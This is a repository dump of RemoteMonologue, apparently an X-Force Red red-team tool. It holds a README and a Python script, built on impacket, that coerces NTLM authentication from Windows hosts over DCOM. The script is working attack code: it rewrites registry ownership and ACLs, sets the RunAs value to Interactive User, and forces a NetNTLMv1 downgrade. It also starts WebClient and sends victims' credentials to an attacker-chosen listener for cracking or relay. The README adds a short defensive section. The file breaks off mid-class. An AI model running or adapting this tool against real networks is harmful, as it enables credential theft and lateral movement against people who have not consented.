Repository: xforcered/RemoteMonologue
Branch: main
Commit: d9fe1ae06848
Files: 2
Total size: 50.4 KB
Directory structure:
gitextract_k96jjx8a/
├── README.md
└── RemoteMonologue.py
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# RemoteMonologue
RemoteMonologue is a Windows credential harvesting technique that enables remote user compromise by leveraging the Interactive User RunAs key and coercing NTLM authentications via DCOM.
Read X-Force Red's [RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions] for detailed information.
## **Features**
🔹 **Authentication Coercion via DCOM (`-dcom`)**
- Targets four DCOM objects (`ServerDataCollectorSet`, `FileSystemImage`, `MSTSWebProxy`, `UpdateSession`) to trigger an NTLM authentication against a specified listener (`-auth-to`).
🔹 **Credential Spraying (`-spray`)**
- Validate credentials across multiple systems while also capturing user credentials.
🔹 **NetNTLMv1 Downgrade Attack (`-downgrade`)**
- Force targets to use NTLMv1, making credential cracking and relaying easier.
🔹 **WebClient Service Abuse (`-webclient`)**
- Enables the WebClient service to facilitate HTTP-based authentication coercion.
🔹 **User Enumeration (`-query`)**
- Identify users with an active session on the target system.
**Note:** Local administrator privileges to the target system is required.
## **Setup**
```bash
pip install impacket
```
## **Examples**
Below is an example of running RemoteMonologue with the NetNTLMv1 downgrade attack while using `Responder` as the listener. By default, if no DCOM option is specified, the tool uses the `ServerDataCollectorSet` DCOM object.
```bash
RemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade
```

Below is another example, this time the attack is executed using the `FileSystemImage` DCOM object and enabling the WebClient service to obtain an HTTP authentication, which is then relayed to LDAP using `ntlmrelayx`.
```bash
RemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage
```

## **Defensive Considerations**
To protect against and detect these techniques, there are several preventative and detection measures that can be implemented.
Preventative measures:
1. Enable LDAP Signing and Channel Binding: Configure LDAP signing enforcement and channel binding on domain controllers to protect the LDAP endpoint from relay attacks. Note: These settings will be enforced by default starting with Windows Server 2025.
2. Upgrade to the Latest Windows Versions: Upgrade servers to Windows Server 2025 and workstations to Windows 11 version 24H2 to mitigate NetNTLM downgrade attacks, as NTLMv1 has been removed in these versions.
3. Enforce SMB Signing: Enable and enforce SMB signing on Windows servers to prevent SMB relay attacks.
4. Implement Strong Password Policies: Enforce strong password requirements to make password cracking attacks more challenging.
Detection opportunities:
1. Monitor Remote Access to DCOM Objects: Track access to the affected DCOM objects and their specific Properties and Methods to identify unusual activity.
2. Monitor Registry Modifications: Monitor changes to the RunAs and LmCompatibilityLevel registry keys.
3. Track WebClient Service Activity: Monitor for instances where the WebClient service is enabled remotely, as this is used to facilitate HTTP-based NTLM authentications.
[RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions]: https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
================================================
FILE: RemoteMonologue.py
================================================
#!/usr/bin/python3
from __future__ import division
from __future__ import print_function
import argparse
import logging
import sys
import time
import random
import string
import os
import struct
import socket
import re
import uuid
import codecs
from impacket import version
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
VARIANT, VARENUM, DISPATCH_METHOD, DISPATCH_PROPERTYPUT, DISPATCH_PROPERTYPUTREF, DISPID_ARRAY
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
IRemUnknown2, INTERFACE
from impacket.dcerpc.v5.dtypes import NULL, LONG, MAXIMUM_ALLOWED
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.krb5.keytab import Keytab
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket import version
from impacket.dcerpc.v5 import transport, rrp, scmr,lsat, lsad
from impacket.dcerpc.v5.ndr import NULL
from impacket.crypto import encryptSecret
from impacket.smbconnection import SMBConnection
from impacket.ntlm import compute_lmhash, compute_nthash
from impacket.smb3structs import *
from impacket.ldap import ldaptypes
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import ndr
from impacket.dcerpc.v5.dcom import wmi
text_green = '\033[92m'
text_blue = '\033[36m'
text_yellow = '\033[93m'
text_red = '\033[91m'
text_end = '\033[0m'
class RemoteMonologue:
def __init__(self, username='', password='', domain='', address='', hashes=None, aesKey=None,
doKerberos=False, kdcHost=None, auth_to=None, output='', dcom='', downgrade=False, webclient=False, timeout=5):
self.__username = username
self.__password = password
self.__domain = domain
self.__address = address
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__auth_to = auth_to
self.__output = output
self.__timeout = timeout
self.__dcom = dcom
self.__downgrade = downgrade
self.__webclient = webclient
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF(b''.join(resp))['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(b''.join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(b''.join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(b''.join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(b''.join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
return IRemUnknown2(
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
target=interface.get_target()))
def checkSMB(self):
# Test conection to port 445 with timeout
try:
sock = socket.create_connection((self.__address, 445), self.__timeout)
except Exception as e:
if str(e).find("timed out") >= 0:
logging.error(f"Failed to connect to port {self.__address}:445")
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] Failed to connect to port 445," + self.__address + "\n")
output_file.close()
return False
elif str(e).find("No route to host") >= 0:
logging.error(f"No route to host {self.__address}")
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] No route to host," + self.__address + "\n")
output_file.close()
return False
else:
logging.error(f"Unknown error: {e}")
return False
return True
def registry_modifications(self):
ntlmExists = False
ntlmVal = -1
ntlmCreated = False
if (self.__dcom != None):
logging.info(f"Targeting {self.__dcom} COM object")
else:
logging.info("Targeting ServerDataCollectorSet COM object")
if ((self.__dcom != "UpdateSession" or self.__downgrade == True)):
if not self.__webclient:
if not self.checkSMB():
return
smbclient = SMBConnection(self.__address, self.__address)
if options.k is True:
smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip )
else:
smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
for attempt in range(3):
try:
string_binding = r'ncacn_np:%s[\pipe\winreg]'
rpc = transport.DCERPCTransportFactory(string_binding)
rpc.set_smb_connection(smbclient)
dce = rpc.get_dce_rpc()
dce.connect()
logging.debug("Connected to RemoteRegistry!")
break
except (Exception) as e:
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
logging.debug("STATUS_PIPE_NOT_AVAILABLE. Retrying in 0.5 seconds...")
time.sleep(0.5)
else:
logging.error("Failed to connect to RemoteRegistry:", e)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[-] Failed to connect to RemoteRegistry," + self.__address + "\n")
output_file.close()
return
dce.bind(rrp.MSRPC_UUID_RRP)
reg_handle = rrp.hOpenLocalMachine(dce)
if (self.__dcom != "UpdateSession"):
if (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
registry_path = "SOFTWARE\\Classes\\AppID\\{03837503-098b-11d8-9414-505054503030}"
elif (self.__dcom == "FileSystemImage"):
registry_path = "SOFTWARE\\Classes\\AppID\\{2C941FD1-975B-59BE-A960-9A2A262853A5}"
elif (self.__dcom == "MSTSWebProxy"):
registry_path = "SOFTWARE\\Classes\\AppID\\{C92A9617-0EAE-4235-BD2B-84540EF1FFA9}"
# Open the registry key
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(MAXIMUM_ALLOWED),
)
# Get the OWNER security descriptor
resp = rrp.hBaseRegGetKeySecurity(
dce,
key_handle["phkResult"],
scmr.OWNER_SECURITY_INFORMATION,
)
owner_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor'])
# Get the DACL security descriptor
resp = rrp.hBaseRegGetKeySecurity(
dce,
key_handle["phkResult"],
scmr.DACL_SECURITY_INFORMATION,
)
dacl_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor'])
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
logging.debug(f"Changing OWNER and DACL for {registry_path}")
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(WRITE_OWNER),
)
# Set Owner to Administrators
new_owner = (b'\x01\x00\x00\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00'
)
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
new_owner,
scmr.OWNER_SECURITY_INFORMATION,
)
# Set Full Control to Administrators
new_dacl = (b'\x01\x00\x04\x94\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b'\x14\x00\x00\x00\x02\x00\xc4\x00\x06\x00\x00\x00\x00\x02\x28\x00'
b'\x3f\x00\x0f\x00\x01\x06\x00\x00\x00\x00\x00\x05\x50\x00\x00\x00'
b'\xb5\x89\xfb\x38\x19\x84\xc2\xcb\x5c\x6c\x23\x6d\x57\x00\x77\x6e'
b'\xc0\x02\x64\x87\x00\x02\x14\x00\x19\x00\x02\x00\x01\x01\x00\x00'
b'\x00\x00\x00\x05\x12\x00\x00\x00\x00\x02\x18\x00\x3f\x00\x0f\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
b'\x00\x02\x18\x00\x19\x00\x02\x00\x01\x02\x00\x00\x00\x00\x00\x05'
b'\x20\x00\x00\x00\x21\x02\x00\x00\x00\x02\x18\x00\x19\x00\x02\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x0f\x02\x00\x00\x00\x01\x00\x00\x00'
b'\x00\x02\x38\x00\x19\x00\x02\x00\x01\x0a\x00\x00\x00\x00\x00\x0f'
b'\x03\x00\x00\x00\x00\x04\x00\x00\xb0\x31\x80\x3f\x6c\xbc\x63\x4c'
b'\x3c\xe0\x50\xd1\x97\x0c\xa1\x62\x0f\x01\xcb\x19\x7e\x7a\xa6\xc0'
b'\xfa\xe6\x97\xf1\x19\xa3\x0c\xce'
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(WRITE_DAC),
)
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
new_dacl,
scmr.DACL_SECURITY_INFORMATION,
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(MAXIMUM_ALLOWED),
)
# Add Interactive User value
logging.info("Setting RunAs value to Interactive User")
ans = rrp.hBaseRegSetValue(
dce,
key_handle["phkResult"],
"RunAs",
rrp.REG_SZ,
"Interactive User"
)
if(self.__dcom == "MSTSWebProxy"):
# Change "LaunchPermission" and "AccessPermission" values
LaunchPermission_data = rrp.hBaseRegQueryValue(
dce,
key_handle['phkResult'],
'LaunchPermission'
)
original_LaunchPermission = LaunchPermission_data[1]
new_LaunchPermission = (
b'\x01\x00\x04\x80\x60\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00'
b'\x14\x00\x00\x00\x02\x00\x4c\x00\x03\x00\x00\x00\x00\x00\x14\x00'
b'\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00'
b'\x00\x00\x18\x00\x1f\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05'
b'\x20\x00\x00\x00\x20\x02\x00\x00\x00\x00\x18\x00\x1f\x00\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x2f\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
)
AccessPermission_data = rrp.hBaseRegQueryValue(
dce,
key_handle['phkResult'],
'AccessPermission'
)
original_AccessPermission = AccessPermission_data[1]
new_AccessPermission = (
b'\x01\x00\x04\x80\x60\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00'
b'\x14\x00\x00\x00\x02\x00\x4c\x00\x03\x00\x00\x00\x00\x00\x14\x00'
b'\x03\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00'
b'\x00\x00\x18\x00\x07\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05'
b'\x20\x00\x00\x00\x20\x02\x00\x00\x00\x00\x18\x00\x07\x00\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x2f\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00'
)
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'LaunchPermission',
rrp.REG_BINARY,
new_LaunchPermission
)
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'AccessPermission',
rrp.REG_BINARY,
new_AccessPermission
)
if(self.__downgrade):
logging.info("Running NetNTLMv1 downgrade attack")
ntlm_key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
'SYSTEM\\CurrentControlSet\\Control\\Lsa',
samDesired=MAXIMUM_ALLOWED,
)
try:
ntlm_value = rrp.hBaseRegQueryValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel'
)
ntlmVal = ntlm_value[1]
if ntlmVal > 2:
logging.debug(f"Changing LmCompatibilityLevel to 2")
ans = rrp.hBaseRegSetValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
rrp.REG_DWORD,
2
)
ntlmExists = True
else:
logging.debug("LmCompatibilityLevel is under 3, no need to change it")
except (Exception) as e:
logging.debug("No LmCompatibilityLevel value discovered. Adding LmCompatibilityLevel to 2")
ans = rrp.hBaseRegSetValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
rrp.REG_DWORD,
2
)
ntlmCreated = True
rrp.hBaseRegCloseKey(dce, ntlm_key_handle["phkResult"])
# Run coercion attack
self.dcom_coerce()
if(self.__downgrade and (ntlmExists or ntlmCreated)):
ntlm_key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
'SYSTEM\\CurrentControlSet\\Control\\Lsa',
samDesired=MAXIMUM_ALLOWED,
)
if(ntlmExists and ntlmVal >= 0):
logging.debug(f"Reverting LmCompatibilityLevel back to {ntlmVal}")
ans = rrp.hBaseRegSetValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
rrp.REG_DWORD,
ntlmVal
)
elif (ntlmCreated):
logging.debug("Deleting LmCompatibilityLevel to revert back to its original configuration")
ans = rrp.hBaseRegDeleteValue(
dce,
ntlm_key_handle["phkResult"],
'LmCompatibilityLevel',
)
rrp.hBaseRegCloseKey(dce, ntlm_key_handle["phkResult"])
if (self.__dcom != "UpdateSession"):
# Delete RunAs key
logging.debug("Removing RunAs value")
ans = rrp.hBaseRegDeleteValue(
dce,
key_handle["phkResult"],
'RunAs',
)
if(self.__dcom == "MSTSWebProxy"):
# Reset "LaunchPermission" and "AccessPermission"
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'LaunchPermission',
rrp.REG_BINARY,
original_LaunchPermission
)
ans = rrp.hBaseRegSetValue(
dce,
key_handle['phkResult'],
'AccessPermission',
rrp.REG_BINARY,
original_AccessPermission
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
logging.debug("Reverting OWNER and DACL registry permissions")
key_handle = rrp.hBaseRegOpenKey(
dce,
reg_handle["phKey"],
registry_path,
samDesired=(WRITE_OWNER | WRITE_DAC),
)
# Reset the DACL security descriptor
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
dacl_security_descriptor,
scmr.DACL_SECURITY_INFORMATION,
)
# Reset the OWNER security descriptor
resp = self.hBaseRegSetKeySecurity(
dce,
key_handle["phkResult"],
owner_security_descriptor,
scmr.OWNER_SECURITY_INFORMATION,
)
rrp.hBaseRegCloseKey(dce, key_handle["phkResult"])
rrp.hBaseRegCloseKey(dce, reg_handle["phKey"])
dce.disconnect()
def hBaseRegSetKeySecurity(self, dce, hKey, pRpcSecurityDescriptor, securityInformation = scmr.OWNER_SECURITY_INFORMATION):
# Thank you @skelsec
#class BYTE_ARRAY(NDRUniConformantVaryingArray):
# pass
#
#class PBYTE_ARRAY(NDRPOINTER):
# referent = (
# ('Data', BYTE_ARRAY),
# )
#
#class RPC_SECURITY_DESCRIPTOR(NDRSTRUCT):
# structure = (
# ('lpSecurityDescriptor',PBYTE_ARRAY),
# ('cbInSecurityDescriptor',DWORD),
# ('cbOutSecurityDescriptor',DWORD),
# )
#constuct the request
secdesc = rrp.RPC_SECURITY_DESCRIPTOR()
secdesc['lpSecurityDescriptor'] = pRpcSecurityDescriptor
secdesc['cbInSecurityDescriptor'] = len(pRpcSecurityDescriptor)
secdesc['cbOutSecurityDescriptor'] = len(pRpcSecurityDescriptor)
request = rrp.BaseRegSetKeySecurity()
request['hKey'] = hKey
request['SecurityInformation'] = securityInformation
request['pRpcSecurityDescriptor'] = secdesc
return dce.request(request)
def enableWebclient(self):
if not self.checkSMB():
return
stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.__address
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.setRemoteHost(self.__address)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
rpc = dce
ans = scmr.hROpenSCManagerW(rpc)
scManagerHandle = ans['lpScHandle']
try:
ans = scmr.hROpenServiceW(rpc, scManagerHandle, "WebClient"+'\x00')
serviceHandle = ans['lpServiceHandle']
except Exception as e:
logging.error(f"WebClient service not accessible on {self.__address}")
return
logging.info(f"Querying status for WebClient on {self.__address}")
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
state = resp['lpServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
logging.info("WebClient status: CONTINUE PENDING")
elif state == scmr.SERVICE_PAUSE_PENDING:
logging.info("WebClient status: PAUSE PENDING")
elif state == scmr.SERVICE_PAUSED:
logging.info("WebClient status: PAUSED")
elif state == scmr.SERVICE_RUNNING:
logging.info("WebClient status: RUNNING")
elif state == scmr.SERVICE_START_PENDING:
logging.info("WebClient status: START PENDING")
elif state == scmr.SERVICE_STOP_PENDING:
logging.info("WebClient status: STOP PENDING")
elif state == scmr.SERVICE_STOPPED:
logging.info("WebClient status: STOPPED")
else:
logging.info("WebClient status: UNKNOWN. WebClient might not be installed on target system!")
if state == scmr.SERVICE_RUNNING:
if (self.__dcom == "UpdateSession"):
logging.info("Targeting UpdateSession COM object")
self.dcom_coerce()
else:
self.registry_modifications()
elif state == scmr.SERVICE_STOPPED:
logging.info("Starting WebClient service. Waiting 5 seconds...")
scmr.hRStartServiceW(rpc, serviceHandle)
time.sleep(5)
if (self.__dcom == "UpdateSession"):
logging.info("Targeting UpdateSession COM object")
self.dcom_coerce()
else:
self.registry_modifications()
logging.info("Stopping WebClient service")
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
else:
logging.error("WebClient can't be started. Try again with -downgrade instead.")
scmr.hRCloseServiceHandle(rpc, scManagerHandle)
dce.disconnect()
return
def run_query(self):
dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
descriptor, _ = iWbemServices.GetObject('StdRegProv')
retVal = descriptor.EnumKey(2147483651,'\x00')
descriptor.RemRelease()
iWbemServices.RemRelease()
dcom.disconnect()
sidRegex = "^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$"
index = 0
users = list()
while True:
try:
res = re.match(sidRegex, retVal.sNames[index])
if res:
users.append(retVal.sNames[index])
index += 1
except:
break
smbclient = SMBConnection(self.__address, self.__address)
if options.k is True:
smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip )
else:
smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
lsaRpcBinding = r'ncacn_np:%s[\pipe\lsarpc]'
rpc = transport.DCERPCTransportFactory(lsaRpcBinding)
rpc.set_smb_connection(smbclient)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
try:
resp = lsat.hLsarLookupSids(dce, policyHandle, users,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException as e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
pass
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
if resp['TranslatedNames']['Names'] == []:
logging.error("No one is currently logged in")
else:
logging.info(f"Potential users logged on {self.__address}:")
for item in resp['TranslatedNames']['Names']:
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
logging.info(f" {resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']}\\{item['Name']}")
dce.disconnect()
def run(self):
if self.__webclient:
self.enableWebclient()
return
if (self.__dcom == "UpdateSession" and self.__downgrade):
self.registry_modifications()
elif (self.__dcom == "UpdateSession"):
logging.info("Targeting UpdateSession COM object")
self.dcom_coerce()
else:
self.registry_modifications()
def dcom_coerce(self):
global text_green, text_blue, text_yellow, text_red, text_end
# Initiate DCOM connection
try:
# Timeout checker
stringBinding = r'ncacn_ip_tcp:%s[135]' % self.__address
transport = DCERPCTransportFactory(stringBinding)
transport.set_connect_timeout(self.__timeout)
dce = transport.get_dce_rpc()
dce.connect()
try:
dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if (self.__dcom == "UpdateSession"):
# UpdateSession CLSID for SYSTEM authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('4CB43D7F-7EEE-4906-8698-60DA1C38F2FE'), IID_IDispatch)
iUpdateSession = IDispatch(iInterface)
CreateUpdateServiceManager = iUpdateSession.GetIDsOfNames(('CreateUpdateServiceManager',))[0]
hCreateUpdateServiceManager = iUpdateSession.Invoke(CreateUpdateServiceManager, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
iCreateUpdateServiceManager = IDispatch(self.getInterface(iUpdateSession, hCreateUpdateServiceManager['pVarResult']['_varUnion']['pdispVal']['abData']))
pAddScanPackageService = iCreateUpdateServiceManager.GetIDsOfNames(('AddScanPackageService',)) [0]
AuthenticationCoercer((iCreateUpdateServiceManager, pAddScanPackageService), self.__auth_to, self.__dcom)
elif (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None):
# DataManager CLSID for Interactive User authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('03837546-098b-11d8-9414-505054503030'), IID_IDispatch)
iServerDataCollectorSet = IDispatch(iInterface)
resp = iServerDataCollectorSet.GetIDsOfNames(('datamanager',))[0]
resp = iServerDataCollectorSet.Invoke(resp, 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iDataManager = IDispatch(self.getInterface(iServerDataCollectorSet, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExtract = iDataManager.GetIDsOfNames(('extract',))[0]
AuthenticationCoercer((iDataManager, pExtract), self.__auth_to, self.__dcom)
elif (self.__dcom == "FileSystemImage"):
# FileSystemImage CLSID for Interactive User authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('2C941FC5-975B-59BE-A960-9A2A262853A5'), IID_IDispatch)
iFileSystemImage = IDispatch(iInterface)
pWorkingdirectory = iFileSystemImage.GetIDsOfNames(('workingdirectory',))[0]
AuthenticationCoercer((iFileSystemImage, pWorkingdirectory), self.__auth_to, self.__dcom)
elif (self.__dcom == "MSTSWebProxy"):
# MSTSWebProxy CLSID for Interactive User authentication
iInterface = dcom.CoCreateInstanceEx(string_to_bin('B43A0C1E-B63F-4691-B68F-CD807A45DA01'), IID_IDispatch)
iMSTSWebProxy = IDispatch(iInterface)
pStartRemoteDesktop = iMSTSWebProxy.GetIDsOfNames(('StartRemoteDesktop',))[0]
AuthenticationCoercer((iMSTSWebProxy, pStartRemoteDesktop), self.__auth_to, self.__dcom)
print(text_green + "[+] Coerced SMB authentication! %+35s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[+] Forced SMB authentication for Interactive User," + self.__address + "\n")
output_file.close()
dcom.disconnect()
except (Exception) as e:
if str(e).find("OAUT SessionError: unknown error code: 0x0") >= 0:
logging.debug("Got exepcted 0x0 SessionError")
print(text_green + "[+] Coerced SMB authentication! %+35s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[+] Forced SMB authentication for Interactive User," + self.__address + "\n")
output_file.close()
elif str(e).find("DCOM SessionError: code: 0x8000401a - CO_E_RUNAS_LOGON_FAILURE") >= 0:
logging.debug("Got RUNAS_LOGON_FAILURE")
print(text_blue + "[~] Local admin but no Interactive User %+47s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] Local admin but no Interactive User," + self.__address + "\n")
output_file.close()
elif str(e).find("access_denied") >= 0:
logging.debug("Got ACCESS_DENIED")
print(text_red + "[-] Access denied %+69s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[-] Access denied," + self.__address + "\n")
output_file.close()
elif str(e).find("REGDB_E_CLASSNOTREG") >= 0:
logging.debug("Got REGDB_E_CLASSNOTREG")
print(text_blue + "[~] Local admin but DCOM class not registered %+41s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[~] DCOM class not registered," + self.__address + "\n")
output_file.close()
else:
logging.error(str(e))
dcom.disconnect()
sys.stdout.flush()
except KeyboardInterrupt:
sys.exit(0)
dce.disconnect()
except (Exception) as e:
if str(e).find("No route to host") >= 0:
logging.debug("No route to host")
print(text_yellow + "[!] No route to host %+66s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] No route to host," + self.__address + "\n")
output_file.close()
elif str(e).find("Network is unreachable") >= 0:
logging.debug("Network is unreachable")
print(text_yellow + "[!] Network is unreachable %+60s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Network is unreachable," + self.__address + "\n")
output_file.close()
elif str(e).find("timed out") >= 0:
logging.debug("Connection timed out")
print(text_yellow + "[!] Connection timed out %+62s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Connection timed out," + self.__address + "\n")
output_file.close()
elif str(e).find("Connection refused") >= 0:
logging.debug("Connection refused")
print(text_yellow + "[!] Connection refused %+64s" % self.__address + text_end)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Connection refused," + self.__address + "\n")
output_file.close()
else:
logging.debug("Unkown error: " + str(e) + " for " + self.__address)
if self.__output != None:
output_file = open(self.__output, "a")
output_file.write("[!] Unknown error," + self.__address + "\n")
output_file.close()
except KeyboardInterrupt:
sys.exit(0)
class AuthenticationCoercer():
def __init__(self, executeUNCpath, auth_to, dcom):
self._executeUNCpath = executeUNCpath
self._auth_to = auth_to
